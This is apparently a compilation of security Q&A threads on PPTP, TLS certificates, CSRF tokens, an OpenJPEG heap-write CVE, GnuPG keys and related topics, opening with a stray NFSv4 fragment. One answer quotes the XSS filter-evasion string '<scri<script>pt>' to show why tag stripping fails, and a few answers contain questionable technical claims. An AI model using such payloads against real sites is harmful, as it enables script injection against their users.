  In addition, we are designing a client-side encryption scheme for NFSv4. This latest version of NFS is intended for use over the Internet, and there are usage scenarios where clients store data on untrusted servers. In our encryption scheme, clients will encrypt data before it is sent to the server. This data will be stored in encrypted form, and will be decrypted by the client when the data is read.

But, really, you should not allow a NAS which can be remotely root-hijacked to be plugged at all on a potentially hostile LAN. You'd better isolate it somewhere, for instance behind a reasonably sturdy router, with which authorized clients would connect with a VPN, e.g. IPsec (which Linux should support natively). Bonus: once you have such a router installed, plug the disk into it, and ditch the NAS altogether.


How does iOS 10.3.3 know when a scammer calls? It shows SCAM LIKELY as the caller id. It didn't used to do that. Does it send all incoming call numbers to Apple for them to analyze?

https://www.payetteforward.com/iphone-scam-likely-why/ has a good explanation.

"Why Does My iPhone Say “Scam Likely”?

Your iPhone says “Scam Likely” because your wireless carrier introduced a new feature called Scam ID or Scam Lock that automatically changes the caller ID from the phone number to “Scam Likely” if the number calling is a known or suspected scammer."


How can I tell if a PPTP tunnel is secure? PPTP has been demonstrated to be broken in many ways, and most installations are insecure. But it is also theoretically not broken if configured correctly.

As an end-user, is there a simple way for me to tell if a PPTP tunnel offered to me (for example by my place of work, or hosting company) is secure?

PPTP, by design had known vulnerabilities. Especially when comes to Windows based systems. Most of the known vulnerabilities were addressed but some of those still exist which will lead to attacks like DoS or information compromization. When considering Windows based systems, even MSChap v2. Microsoft's Point to Point Encryption quite weak strength (a maximum of 128 bits). You basically need to use EAP methods for strong protection.

Even though it provides authentication, encryption, and packet filtering, Other issues exist:

No protection for IP, GRE, and PPP header information (basically, protection issues for NCP PPP packets). Data  is secure but initial connection negotiations can be vulnerable if captured (during authentication).
Vulnerabilities like low defense against session hijacking, bit-flipping attacks etc.
If RC4 encryption has some weaknesses.

L2TP with IPSec (or any other with ssl/tls ipsec/ike) is recommended.

Penetration tools can be used to test but it is not an easy task for an end user. Basically tools developed for Linux with the intention of penetration testing (no single tool, combinations) can be used but the process does not suit for regular user.

User has the ability to check the security methods used in the connection. As an example, by opening the dial in properties and going to the Security Tab (Windows). Data Encryption should be "Maximum strength encryption(disconnect if server declines)". Authentication should be EAP-TLS, PEAP or Smart Cards. MSChapv2 is absolutely not recommended (least secure). Certificate based security it recommended. In order to check whether the DNS requests are secure, he/she can use online tools such as GRC. FYI: PPTP is not secure at all. Its outdated and can be cracked using nthash


Is there a better way to have secure downloads without the requirement of an account? The Job

You have the task of providing large files with sensitive data to people outside your company.

Limitations and mandates

Recipients of the data must be notified by email
The size of the files prohibit sending the data via email
There could be tens or hundreds of thousands of users, so making accounts for them is not an option.
A recipient could be anyone who has an email address.
You need the capability for a recipient to be able to programatically consume the link and download the file so they could import into their software without human interaction.
You need to keep this as secure as possible.

Proposed Solution

I would provide the recipients with a link via an email (TLS secured) and they would simply click the link to download the file. The link would contain a 25 character code that would let them access their file. If an IP (or MAC address?) provided a bad code 10 times, it would be blacklisted for 14 days to prevent a brute-force attack to get access to more files. The file would be a zip that is password protected with the recipient's email address as the password. The files themselves would only be available for a fixed length of time; the expiration of that time would cause the files to get deleted by a back-end process and the code to become available for another download (although it may never be re-used).

So, with my solution, a possible scenario would be:
I am given an email address and I need to provide them a file customized for them. I create a file, zip it with the recipient's email address as the password, save it to my application, my application says the URL for the file will be www.test.com/GetFile.aspx?UID=12....99, and then I email them a link.

Obviously, if the email we send them with the link is compromised, the files linked in the email could be compromised as well.

Is there a better approach?

Security needs to be balanced with usability.  Encrypting the file with the email address ads only a tiny amount of additional security, and adds complexity for end users.

Locking out the user for 2 weeks after a mere 10 bad attempts is also overkill.  I could easily see someone in a company trying 10 times and being unsuccessful and causing you and them enormous headaches.  A 25 character randomly generated code is already protection enough, so why worry about brute force attacks that will just cause you trouble?

Expiring the link after a certain period of time is fine, and relatively standard.  That means compromising the email box doesn't compromise the file.


Differentiating server and client in Mutual TLS authentication When authenticating the client side with a certificate that is also verified by our self-signed ca certificate that verifies server certificate, I think It's possible for clients to perform a MITM attack and order other clients.
Maybe I'm wrong but could it be possible?
for fixing this problem I can think of these solutions:

1- using username-based authentication instead.

2- using another ca for verifying client.

3- Programming clients in a way that they must use a certificate other than server certificate.

Any ideas?

Edit:
I just wanted to point out that I'm using mqtt protocol and ca and client certificate are installed in embedded devices in a local network.

1.
No, it's generally not possible, as long as all the certificates are generated with proper Extended Key Usage (EKU) X.509 field value and all your TLS servers respect RFC.

For a client certificate, EKU should contain the TLS WebClientAuthentication value, and for a server certificate, should contain the TLS WebServerAuthentication value.
(Note that I'm providing human-readable description of the fields and values, not the actual OID values.)

It is common for certificate authorities to include also TLS WebClientAuthentication value in a server certificate, which is not bad in and of itself (at least personally I don't see an attack scenario here), but not vice versa.

Take StackExchange certificate as an example:

Signature Algorithm: sha256WithRSAEncryption
    Issuer: C=US, O=DigiCert Inc, OU=www.digicert.com, CN=DigiCert SHA2 High Assurance Server CA
    Validity
        Not Before: May 21 00:00:00 2016 GMT
        Not After : Aug 14 12:00:00 2019 GMT
    Subject: C=US, ST=NY, L=New York, O=Stack Exchange, Inc., CN=*.stackexchange.com
    X509v3 extensions:
        X509v3 Extended Key Usage:
            TLS Web Server Authentication, TLS Web Client Authentication

2.
Also, a server certificate contains the domain name of a server in either the Subject or in the Subject Alternative Name X.509 fields. For StackExchange it looks like this:

Signature Algorithm: sha256WithRSAEncryption
    Issuer: C=US, O=DigiCert Inc, OU=www.digicert.com, CN=DigiCert SHA2 High Assurance Server CA
    Validity
        Not Before: May 21 00:00:00 2016 GMT
        Not After : Aug 14 12:00:00 2019 GMT
    Subject: C=US, ST=NY, L=New York, O=Stack Exchange, Inc., CN=*.stackexchange.com
    X509v3 extensions:
        <...>
        X509v3 Subject Alternative Name:
            DNS:*.stackexchange.com, DNS:stackoverflow.com, <...>

Here, the Common Name in the certificate equals to *.stackexchange.com, and Subject contains the Common Name.

Now, to start issuing client certificates, you usually have to come up with a naming scheme, i.e. what you put in the Subject field and the nested Common Name field. How you do that is completely up to you, but better make sure that under no circumstances could a Common Name within a client certificate coincide with a Common Name of one of your domains, in case either your CA or some of the TLS-enhanced applications in your infrastructure do not obey RFC strictly.

A simple way to ensure this is to put the full name of a user into the Common Name and then make sure that each client certificate issued either does contain a space, or doesn't contain a dot. As far as I know, at least one of those two requirements could be satisfied with pretty much any full name which exists in the world.


Signature and Timestamp for Long Term Document Archival Question I have a PDF document intended for long-term (many years, maybe decades) archival which I would like to digitally sign with my personal certificate to ensure its integrity.

As far as I understand, I need to timestamp the signature in order to ensure it remains valid even after certificate expiration.

Let's say I use a trustworthy TSA. From what I understand they sign the timestamp with their own signature.

Now, let's suppose the original TSA goes bankrupt or is compromised and its certificates revoked. Will my document remain readable without warnings?

Your best approach would be to secure multiple signatures from different trusted authorities. In case one of the private keys is compromised, the file could still be validated.

This will incur additional costs, but increase resilience to certificate revocation. Or you could also establish a (more costly yet) procedure of periodic certificate revalidation (re-signing).

You need to consider what it is that you want to achieve here: if you want to independently assure the reader of the document's validity, then you need external TSA signing. Otherwise you could supply a document hashing service for internal double-check, which would do to assure you that no document tampering took place outside the document archival facility... but could never assure you of the trustworthiness of the facility itself (and more reason to do otherwise it's that it would be DIY encryption, in violation of Rule #1 of DIY Encryption - "Don't Do It" ).

Check out SeT Laboratory Paper, "TSA Key Compromise or Loss".


Is a JWT usable as a CSRF token? I'm in need of a CSRF token, for a certain application that submits a form with POST. Ideally, I'd like to not make a DB call for each submission, to avoid storage and DB traffic & latency. To this end OWASP's "CSRF Prevention Cheat Sheet" says,

  Overview

  The Encrypted Token Pattern leverages an encryption, rather than comparison, method of Token-validation. After successful authentication, the server generates a unique Token comprised of the user's ID, a timestamp value and a nonce, using a unique key available only on the server. This Token is returned to the client and embedded in a hidden field. […] Non-AJAX form-based requests will implicitly persist the Token in its hidden field. On receipt of this request, the server reads and decrypts the Token value with the same key used to create the Token. […]

  Validation

  On successful Token-decryption, the server has access to parsed values, ideally in the form of claims.

The first line of "Validation" reads, to me, like the very defintion of a JWT. I'm not seeing why the information in token needs to be encrypted, either: it would seem it merely needs to be authenticated that it came from the server (as opposed to an attacker attempting forging a CSRF token.)

Is there any particular reason to encrypt CSRF tokens? If not, does a JWT suffice?

Also, the above token pattern includes a nonce. What is the point of the nonce? (The whole point of this pattern is to not store any state server-side. If I'm not storing state, how can I use the nonce during validation in any material manner?)

My main reason for pursuing JWTs here is that there's decent library support, I'll probably want them for auth sooner or later, and it mostly keeps me away from implementing crypto stuff.

My understanding of JWTs is that if I had JWTs for full user authentication, I could store those in localStorage, and simply add those to a field with JS prior to form submission. Unfortunately, the app uses cookie-based auth, and I'm not able to change that aspect right now.

TL;DR

A JWT, if used without Cookies, negates the need for a CSRF token - BUT! by  storing JWT in session/localStorage, your expose your JWT and user's identity if your site has an XSS vulnerability (fairly common). It is better to add a csrfToken key to the JWT and store the JWT in a cookie with secure and http-only attributes set.

Read this article with a good description for more info
https://stormpath.com/blog/where-to-store-your-jwts-cookies-vs-html5-web-storage

  You can make this CSRF protection stateless by including a xsrfToken JWT claim:

  {
    "iss": "http://galaxies.com",
    "exp": 1300819380,
    "scopes": ["explorer", "solar-harvester", "seller"],
    "sub": "tom@andromeda.com",
    "xsrfToken": "d9b9714c-7ac0-42e0-8696-2dae95dbc33e"
  }

So you will need to store the csrfToken in local/sessionStorage as well as inside the JWT (which is stored in a http-only and secure cookie). Then for csrf protection, verify that the csrf token in the JWT matches the submitted csrf-token header.


How (and where) to report a web site distribute a program with a virus? I came across this free video converter program for Windows called Any video converter and installed it, my antivirus program immediately found a virus within it (Win32:Evo-gen).
How and where can I report that site distributes its program with a built-in virus?

After reporting the website in question to the relevant host (discovered by running a WHOIS as suggested by forest in their comment), you can also report the website to Google using their Report malicious software form. In the case of a phishing site the Report Phishing Page form should be used.

If your report is reviewed and accepted, the page will be excluded from Google's search results, and anyone using Google Chrome will get a warning page from Google's Safe Browsing and will be deterred from continuing. I believe that Chrome may also prevent the user from opening the executable downloaded from the website if the user ignores the big red warning page.


What client software is affected by JPEG 2000 / TALOS-2016-0193/CVE-2016-8332 A vulnerability in JPEG 2000 file formats has been discovered.

The articles seem to refer to OpenJPEG implementation when discussing this bug, however what's not clear is who is the vulnerable party.

Is the vulnerability specific to software that leverages this library?
Does the vulnerability occur when creating or viewing this image format?
Are all viewers vulnerable? How can I identify if my viewer is vulnerable? (Adobe, Chrome-built in reader, etc)

The full CISOC TALOS report describes the vulnerability in incredible detail.  @dandavis comment already answered most of your questions but allow me to repeat that:

  Is the vulnerability specific to software that leverages this library?

Yes, only libopenjp2.so.2.1.1 is vulnerable (and likely older versions of it).  Other JPEG2000 libraries are not vulnerable.

  Does the vulnerability occur when creating or viewing this image format?

It happens when viewing a cleverly crafted image.  The library wrongly parses the MCC (motion compensation), i.e. not safely enough.  You can craft an MC that will result into an arbitrary pointer, and then the next MC writes something to that pointer.  In general you can write at arbitrary heap positions.

  Are all viewers vulnerable?

Actually a rather limited number of viewers is vulnerable because JPEG2000 did never really catch.  According to the report the notable vulnerable viewers are Poppler, MuPDF and Pdfium.  Poppler being the most notable since it is used as a library in several PDF rendering applications.

  How can I identify if my viewer is vulnerable? (Adobe, Chrome-built in reader, etc)

Let's go through a couple of ways of identifying vulnerable binaries.

Poopler is the most notable software package, and its pdfinfo, pdftocairo, pdfimages (and others) are clearly vulnerable.  On Linux:

[root@haps ~]# ldd /usr/bin/pdfimages | grep libopenjp2
    libopenjp2.so.7 => /usr/lib/libopenjp2.so.7 (0x00007f0be0bfa000)
[root@haps ~]# ls -l /usr/lib/libopenjp2.so.7
lrwxrwxrwx 1 root root 19 Aug  4 21:08 /usr/lib/libopenjp2.so.7 -> libopenjp2.so.2.1.1

Yep, definitely using the vulnerable openjp2 2.1.1 .

Thankfully, most software* today use the cairo libraries instead of poppler  for example:

[root@haps ~]# ldd /usr/bin/gimp | grep pop
[root@haps ~]# ldd /usr/bin/gimp | grep cairo
    libpangocairo-1.0.so.0 => /usr/lib/libpangocairo-1.0.so.0 (0x00007f4ce1d9f000)
    libcairo.so.2 => /usr/lib/libcairo.so.2 (0x00007f4ce110f000)

The methods above use ldd to check dependency on libopenjp2.  But that is not a bullet proof method.  Software loads shared libraries at runtime, for example the browser I'm posting this from will not use libopenjp2 for JPEG2000 images:

[root@haps ~]# lsof /usr/lib/libopenjp2.so.2.1.1
[root@haps ~]# lsof /usr/lib/libjpeg.so.8.1.2
COMMAND PID     USER  FD   TYPE DEVICE SIZE/OFF    NODE NAME
firefox 522 grochmal mem    REG    8,3   432880 3844022 /usr/lib/libjpeg.so.8.1.2

But will use libjpeg for all JPEG renders.  Even for JPEG2000 (JPEG2000 atoms are optional).

Extra note

libopenjp2 2.1.2 which fixes the vulnerability is already available.  The public disclosure of the vulnerability happened a day after this version was released, i.e. it was a responsible disclosure.  (I have just updated it on my machine a couple of hours ago.)

* The example uses GIMP, which isn't a particularly good example since it uses plugins that may load extra libraries (thanks @MichaelSchumaher for reminding me of that.).  On the other hand the JPEG2000 plugin for GIMP did not really catch either, just like the JPEG2000 spec itself.  The plugin had a usage fewer around 2008-2010 but went into disuse since then.

GIMP has also file-pdf-load which use poppler.  And moreover, anyone can write GIMP plugins that may include libopenjp2, therefore you may load the library into memory and use it to open a JPEG2000.  This isn't exclusive to GIMP but any application that allows plugins that load extra shared libraries.

In summary: if you are explicitly loading a plugin to use the libopenjp2 into your application, then you are vulnerable to CVE-2016-8332 (unless you use the updated library, that is)


How to understand QEBEK (Honeypot Monitoring Tool)? I've been trying for some time to find recent or meaningful documentation regarding QEBEK, but all I've found is the Intro and KYT Paper for Installation 2010. The links are just a formal introduction, and a very old installation guide (which unfortunately doesn't seem to work). I'd like to know what happened with QEBEK, since it's now about five years after the release of the KYT paper linked above.

According to the KYT paper, it was the only open-source high-interaction honeypot monitoring tool. Since I'm new to the field, I may be missing something, but can anyone shed any light on this? Is there an open-source alternative to QEBEK?

Update: I've posted this same question on the Project Honeypot forum.

Not to nitpick, but it sounds as though you're interested in honeypots/honeynets in general. There are several honeypot solutions available. The aforementioned are open source and easily accessible, documented and will aid you in your projects. Also, the honeynet project brought you Quebek but has several honeypots that are based off of bochs/qemu.


Secure File Sharing with China I am looking for a convenient, and particularly a secure way to share files with business contacts in China.  My priorities, in this order, are

Secure, non-hackable.
Accessible.  I know many sites (YouTube, notably) are not universally accessible from China.
Ease of use.

How paranoid are you?
Level 1:
Use WinRAR or 7-Zip to create encrypted archives and share them over any file-sharing mechanisms. SHare the password over completely different means of communication.
Level 100:
Use encryption software (Like VeraCrypt) to create an encrypted volume with a key and passphrase. Share the key separately (maybe an encrypted archive) and passphrase separately.
Level 9999:
Ask your client to create a PGP key for himself and share the public key with you. You also create a PGP key with for yourself and share the public key with him. Now sign your file with your key and encrypt the file with your client's public key. Share the encrypted and signed file.
The sign can be validated by the recipient so he's sure the file is sent by you and only the recipient can decrypt the file ensuring your data is read only by your recipient.


In NodeJS, what is a good way of ensuring user submitted data in (text input) forms is not malicious? In addition to scanning user uploaded files, I would also like to ensure that forms for user profiles, comments, etc. cannot be misused to submit malicious script. What are some known good methods of doing so? Should checking for script injection attacks (XSS and SQLi) be done client-side or server-side?
I have checked a few security-related modules in NPM, but they mostly seem to concern the security of other modules, and its possible I have missed something useful.
One way I am aware of is to strip out all HTML tags, but I think it is a bit heavy-handed as well as probably not effective in all cases.

Stripping out HTML tags is not a sufficient approach to protecting yourself from XSS.  Consider the following input:

<scri<script>pt>

If you strip out the <script> tag, another script tag is created.  This is just one example - there are many other attacks that could be used.

You should look into protecting yourself from XSS on the server side - this way users do not have the ability to modify/bypass your client side code.

Protecting yourself against XSS is totally doable, but you should make sure you are using the correct approach.  As usual OWASP's instructions on how to protect yourself is probably the best way to go.


It is safe to store photos and documents on skydrive / google cloud services? I have over 20GB of photos and documents stored on my hard disk without a backup. I'm thinking about saving all of them in a cloud service such as Microsoft Skydrive or google cloud, but I'm wondering if it is really safe... I mean, can I trust these services in privacy and responsibility just as if I was saving these files on an external hard drive?

The most sensible approach is to assume you cant rely on their privacy - it isn't their responsibility, although there are some services whose selling point is securing this data.

If you take that stance, as long as you encrypt all data before it goes to the cloud you can be safe (decide on what level of encryption you need in order to be safe)

This approach gives you a very practical backup, just make sure you protect your encryption keys.


Security of viewing a website containing Java applets offline I've been wondering whether viewing a website offline increases the security risk.

The reason why I'm asking is that having been a short time java applet developer (for a small task) I've come to know that a java applet originating from the local file system has more privileges(like accessing the local file system) compared to one that comes from the internet. I don't really know how general this principle is, and whether websites that originate from your hard drive are even considered trusted.

Should I be concerned about a rogue applet coming with a website I download for viewing offline and posing a security risk? How are things with javascript for instance, are the restrictions relaxed there as well?

As I understand it, an untrusted Java applet run in the browser is going to be sandboxed, so I don't believe it will have any more access to your system if you download it and run it in your browser locally than if you run it from the originating server, or from your browser cache, at least by design.

However, you should be concerned about Java applets, period.   The number of vulnerabilities discovered in the JRE in the last few years is absolutely staggering.  It's highly inadvisable to allow Java to run in the browser, so I would suggest that you don't want to run untrusted applets under any conditions.


Do `sudo` and `su` belong to capability-based security? In Linux, do sudo and su belong to Capability-based security ?

For example, when editing a system file, we usually need sudo or su to temporarily switch to user root. Does this example belong to capability-based security, or to protection rings? Does this example need some system call to the kernel, or just the privillege of user root, or both?

What are other approaches in Linux that belong to Capability-based security?

Are sudo and su the only approach that belong to  Capability-based security?

In fact, the sudo and su programs are not parts of either security model for several reasons.

Protection rings are referring to the memory/CPU access permissions and in the user-space the only access is to files.
Capabilities refer to process permissions and as independent programs they are a separate process than the caller and do not inherit or give away any of their capabilities onward.
They are independent software programs that are not affected or affecting the OS in any way.

Some background may be relevant here:
In Unix and Linux there are two levels of permissions: standard user and superuser (usually called root).
The standard user has access only to the files that he has permissions for, by ownership, group membership or ACL.
The superuser has permissions to everything (we'll ignore stuff like SELinux and the like for this answer) without limits within the userspace.

This presents a major hurdle to overcome, since a standard user doesn't have access to system files how could something like a password change be performed? For a password change, the user must write to the /etc/passwd or the shadow file (it's location varies between different Unix flavors).

In order to support this and similar cases, Unix systems have introduced a way to grant special permissions called the suid bit. This is a bit in the filesystem that when set on an executable allows it to gain the privileges of the file owner rather than the calling user.

Sudo and Su use this mechanism to allow a user to set it's effective permissions to those of someone else (usually the superuser, but not always) so they can run normal programs that do not have their suid flag set, as a user other than the one they logged in as.


Is using Google Voice number for two-factor authentication a big mistake? Two-factor authentication is growing in popularity as a security measure. For example, Google, Facebook, Twitter, and many other services all have two-step security options today as well as many banks and credit unions.

I'm wondering whether using a Google Voice telephone number as the so called Physical device to which one would receive text message codes to confirm one's possession of the Physical device is a mistake since potentially your GV account could be hacked, and then your Physical device is effectively stolen?

What if you are using two-factor Google authentication which puts an application on your smart phone to confirm identity, does that make using GV for others safe if you assume Google is safe?

The main problem with this would be when someone has malware on your computer (such as a keylogger) they would be able to get your Google Voice password as well as your normal account password.  They could then get past the two factor authentication.  If you always access Google Voice from a separate system you'd still technically be two factor though.


Is it safe to use the same Google account to communicate with users and for AdSense and analytics? Should i have 2 separate accounts, one to communicate with the users of the website and sending automated emails with gmail like account confirmations, password resets, etc. And one account for analytics, adSense and all that ?

Are there security risks given the fact that a lot of people will know the gmail address, other than spam emails and all that, or is it just better to have separate accounts?

There is no problem using the same email (other then spam), as long as you don't distribute the login credentials. If your site needs credentials for the automated mails, it would be better to have separate account just for that, so that if your site is breached, your main gmail account is not.


Are emulators isolated from the host for malware testing? I know that virtualization is different from emulation; I was wondering if emulation is isolated from its host and any destruction on it will not affect the host as if it were a virtual machine.
I also understand that there can be exploits that can be used to escape the emulator but I just want to know if it is isolated in general.

Barring any unknown vulnerabilities in the emulator, the general idea is that the emulated system is isolated from the host. This isolation may be reduced if you share filesystems and other resources with the emulated guest.
The level of security may also vary based on the emulator you are using. Interestingly, qemu's docs notes that it shouldn't be relied on in non-virtualization (pure emulation) mode:

Users with non-virtualization use cases must not rely on QEMU to provide guest isolation or any security guarantees.

However, any security promises may only be true for full system emulation. There's also user-space emulation (e.g. qemu-user), which allows you to run programs for another architecture within you current userspace. In this case, the program has the same access as any other program you run on your system.


Using ECC like RSA, to Encrypt/Decrypt Is there any way to implement encryption/decryption using ECC, like RSA does?  For example, say some user wants to send a message containing a symmetric key to user X.  Then, in RSA, I could just encrypt the symmetric key using X's public key, and only X can decrypt using his private key.  In my particular application, it's important that the receiver does not know the sender's public key.

However, in ECC (at least using OpenSSL), I've only seen support for signing and DH.

I've done some research on ElGamal encryption, but I think I read that the encrypted message is doubled in size.  I would like to use 256 bit ECC to encrypt a 256 bit plaintext to a 256 bit ciphertext.

Thanks in advance to anyone who can help.

ECDH is sufficient: once you have done the key exchange, you can use the resulting key with a symmetric encryption algorithm. This is called hybrid encryption and it is desirable anyway, even with RSA, since it allows to bypass the size limitation of RSA encryption (RSA-2048 cannot encrypt more than 245 bytes) and allows for addition integrity protection against active attackers (if the symmetric encryption mechanism includes a MAC, à la GCM).

Such a construction has even been standardized under the name ECIES (for "Elliptic Curve Integrated Encryption Scheme").

Since asymmetric encryption uses only the public key, and thus can be done by anybody, it should not be deterministic; otherwise, it allows attackers to do an exhaustive search on the plaintext. Therefore, a size increase is rather unavoidable. You also need some size increase for integrity protection against active attackers. Therefore, encrypting a 256-bit plaintext as a 256-bit ciphertext seems to be an elusive goal.


WinHTTP - Prevent successful handshake if peer certificate is invalid I am using WinHTTP on a Delphi project to make calls over to the server.

Script:

userAgent := 'TestClient.exe';
  hsession := WinHttpOpen(pwidechar(userAgent), WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, nil, nil, 0);
  if(hsession = nil) then ShowMessage('Failed WinhttpOpen');
  p := 'https';
  port := 443;
  requestflags := WINHTTP_FLAG_SECURE;
  server := '10.0.0.221';

  hconnection := WinHttpConnect(hsession, PWideChar(server), port, 0);
  if(hconnection = nil) then
  begin
    le := GetLastError;
    ShowMessage('Failed to connect: ' + IntToStr(le));
  end;

  Action := 'GET';
  hInetRequest := WinHttpOpenRequest(hconnection, pwidechar(Action), nil, nil, nil, nil, WINHTTP_FLAG_SECURE);
  if(hInetRequest = nil) then
  begin
    le := GetLastError;
    ShowMessage('Failed to connect: ' + IntToStr(le));
  end;

  WinResult:=WinHttpSendRequest(hInetRequest, nil,0, 0, 0,0,0);

  if(not WinResult) then
  begin
    le := GetLastError;
    WinHttpCloseHandle(hInetRequest);
    ShowMessage('No result obtained : ' + IntToStr(le));
  end;

Question;
For security compliance (FIA_X509_EXT1.1), should connection terminate right after SSL handshake? In case peer certificate is deemed invalid. Or is this ok to terminate later?

Actual:
What's happening, is that the client (using WinHTTP) makes a call and successfully confirms the TLS handshake, even when the certificate is invalid. However, right after handshake and before completing request, it terminates the connection throwing a '12175' error. Which is the error for invalid certificates? Which is right?

Problem:
For above (FIA_X509_EXT1.1) compliance to pass as per verification tool, WinHTTP must not allow successful handshake, and hence terminate the connection earlier.

Wireshark screen attached below: (10.0.0.221 is the server)

I already asked this question in stack exchange, but as suggested by another member, this is probably the right place.

Question; For security compliance (FIA_X509_EXT1.1), should connection terminate right after SSL handshake? Incase peer certificate is deemed invalid. Or is this ok to terminate later?

TL;DR: I don't think failing in TLS handshake is an actual requirement. But it will be much harder to prove secure behavior if it does not already fail in the TLS handshake.

I cannot see anything in FIA_X509_EXT1.1 and related which explicitly requires the client to already fail inside the TLS handshake. And from a security perspective it should not matter if the TLS connection fails inside the handshake or after the handshake as long as no application data get sent by the client over the untrusted connection or server data get processed. This means that as long as the certificate of the server is not fully validated:

The client should not sent any application data to the server.
The client should not process any application data sent by the server.

If the client fails the TLS handshake already in case of a bad certificate this is easy to show because application data can only be sent and processed after successfully completing the TLS handshake. But, if one allows to fail the TLS connection only after the TLS handshake then one needs to have a closer look at the specific application behavior and also the upper layer protocols.

There are protocols like FTPS, SMTPS ... where the server sends data before the client. In these cases one might actually see application data from the server in the packet capture even with bad certificates since the TLS handshake got completed successfully from the perspective of the server. Thus one needs to show somehow that the client did not process these (untrusted) data which would probably involve to dig deeper into the clients and/or TLS stacks source code.

In other protocols like HTTP the client sends data first. In these cases no application data should be seen in the packet capture at all if the certificate validation should fail.  But, one would probably still need to analyze the case where a server is not conforming to the protocol and sends data to the client. Here one also needs to prove somehow that the client does not process these untrusted data from the server.

In summary: I don't think it is an actual requirement that the TLS connection should fail already inside the handshake if the certificate cannot be validated. But, if the TLS connection only fails after the TLS handshake is completed it will be much harder to verify that the no sensitive data got sent over the untrusted connection and that no untrusted data got processed by the client.


Re-import secret primary key in GnuPG Following the Debian tutorial on subkeys I like to create a keyring with a primary key (SC) and two subkeys (E and S) and then export and remove the secret primary key. However I struggle to re-import the exported secret key in case I want to revoke and renew the subkeys.

Initial setup with two subkeys

pub  1024R/158C07CE  created: 2015-09-21  expires: never       usage: SC
                     trust: ultimate      validity: ultimate
sub  1024R/588AC467  created: 2015-09-21  expires: never       usage: E
sub  1024R/3637E2AA  created: 2015-09-21  expires: never       usage: S
[ultimate] (1). Foobar

$ gpg -K

sec   1024R/158C07CE 2015-09-21
uid                  Foobar
ssb   1024R/588AC467 2015-09-21
ssb   1024R/3637E2AA 2015-09-21

# sec means the secret is still there

Export primarykey-only, export subkeys-only, remove secret keys, and re-import subkeys

$ gpg --export-secret-keys 158C07CE! > primary.sec
# secret-keys with exclamation mark just exports primary keypair
$ gpg --export-secret-subkeys 158C07CE > subs.sec
$ gpg --delete-secret-keys 158C07CE
$ gpg --import subs.sec
$ gpg -K

sec#  1024R/158C07CE 2015-09-21
uid                  Foobar
ssb   1024R/588AC467 2015-09-21
ssb   1024R/3637E2AA 2015-09-21

# sec# means the secret key is missing (this is what I want)

Now I want to re-import the primary secret key

$ gpg --allow-secret-key-import --import primary.sec

gpg: key 158C07CE: already in secret keyring
gpg: Total number processed: 1
gpg:       secret keys read: 1
gpg:  secret keys unchanged: 1

What? Why?

$ gpg -K

sec#  1024R/158C07CE 2015-09-21
uid                  Foobar
ssb   1024R/588AC467 2015-09-21
ssb   1024R/3637E2AA 2015-09-21

Here is useful Stackexchange article on which keys GPG exports in which case

GnuPG pre-2.1 (ie. GnuPG 1 and GnuPG 2) cannot merge private keys. There are different ways to scope with that:

Install GnuPG 2.1, which finally resolved this limitation.
Import the private primary key to a new keyring (--homedir will come in handy for doing so), for revocation you only need the public subkey, no private ones.
Use gpgsplit to break up the exported secret keys into the individual packets, and concatenate them again in the right order. This works very well, but requires deeper knowledge of RFC 4880 (OpenPGP).

I'd propose to go with GnuPG 2.1, and if necessary export the private key(s) again and switch back to GnuPG 1 or 2 if you prefer.


Changing private key in asymmetric encryption and recovering data Let's say I want to make an encrypted message app (just an example). So, I will need a user1 with a password1, private key1 (that will be encrypted with the password1), public key1 (that will depend on private key1), and the data1 (that will be generated in encrypted format by another user2 using the public key1 mentioned before). So, I'm pretty sure I got all this correct (right?). But here comes something I simple can't figure out nor do I able to find an answer online:
What if I need to change my private key1? How in the world would I be able to recover the data1? The reason for this is simple, it might be a case that the password is compromised and as a result the private key, so it must be changed.
Is there really no way around this?

If the private key is compromised the whole key pair is compromised, i.e. the public key should not longer be trusted too. This means that you cannot simply change the private key but must change the whole key pair.
You can still keep the old key pair though in order to deal with the old messages. But given that this key pair is considered compromised nobody should send or accept message any more which are protected by this key pair, i.e. the key has to be revoked for all future use except for dealing with the old messages.


What are the potential risks of binding an application to an IP address or hostname that you do not control? When setting up any kind of server application (such as a web server, IRC server, etc) you can usually bind the application to particular IP addresses or hostnames. This tells the application to 'listen' on those addresses.

If I were to bind to an IP address that I do not control, what would be the potential security risks? Of course no requests would ever reach my application, but could there be any other risks or edge-cases?

Regarding binding to a hostname, in some cases this will likely result in a DNS query of the hostname been sent, which would result in potentially malicious DNS record information being returned, as well as the information disclosure/privacy violations, etc. Are there any other risks here?

An example of this situation is when starting a local PHP development server. If I intend to type php -S 127.0.0.1:8080 but I misspell the IP causing PHP to bind to an arbitrary IP that I do not control. This particular risk can be mitigate by using localhost:8080 (which if mistyped would be just invalid) or setting a Bash alias.

Through proper code review and good security practise, this will likely never actually happen. I'm just interested in the theory.

If I were to bind to an IP address that I do not control, what would be the potential security risks?

To clarify the comment, this situation can easily happen in a shared hosting type of environment.

The main security risk here is that someone else can easily prevent your service from listening on this IP:port. More, they can run a fake service on the IP:port by taking it over. Then they can possibly act maliciously against your customers, depending on the nature of your service and communications. This can include many things such as:

Sending malicious content to your users (if it is a regular Web server which users visit with the browser);
Stealing credentials or authentication tokens if your service requires login (either from users or devices);
Attacking connecting clients (for example if your client is an IoT sensor submitting data and expecting the "200 ok" status, an attacker can try to overflow the sensor RAM by returning a very long status line);
If your service listens on more than one port, an attacker can do MITM attack on it, and perform traffic spoofing/injection/modification (this could be prevented with some measures like SSL, but if you're in shared hosting env, they are less effective).

Note that you cannot bind a listen port to a remote IP, it has to be one of local IP addresses (technically you can, but it will not work, because your ISP will not forward the relevant packets to your IP). So if your example with PHP if you mistype it as "php -S 128.0.0.1" this will only have any effect if your local IP address (or one of) is 128.0.0.1.

PS. The whole 127/8 (i.e. 127...*) is localhost, so if you listen on 127.231.45.90 it is no more accessible remotely than 127.0.0.1.


Can I use PBKDF2 derivation function to generate a MAC in PKCS12 file? It seems that the default password based key derivation function that is used by PKCS12 to generate a MAC is this one. It is unique to the standard and probably not used anywhere else. Is it possible to use PBKDF2 instead to generate a MAC? Surely I can use PBES2 scheme with PBKDF2 to protect key bags, but how do I encode this information for the whole file's MAC? Is it possible in principle? So far my attempts to use it resulted in files that are not recognized both by OpenSSL and Windows tools.

NO. (sorry)

Actually you need all of B not just B.2, and if you try to implement this note the formulas in B.2 step 6 have errors; see https://www.rfc-editor.org/errata_search.php?rfc=7292 .

See section 4 item 3:

  ... if [MAC] present ... As described in Appendix B, the MAC key is
         derived from the password, the macSalt, and the iterationCount;
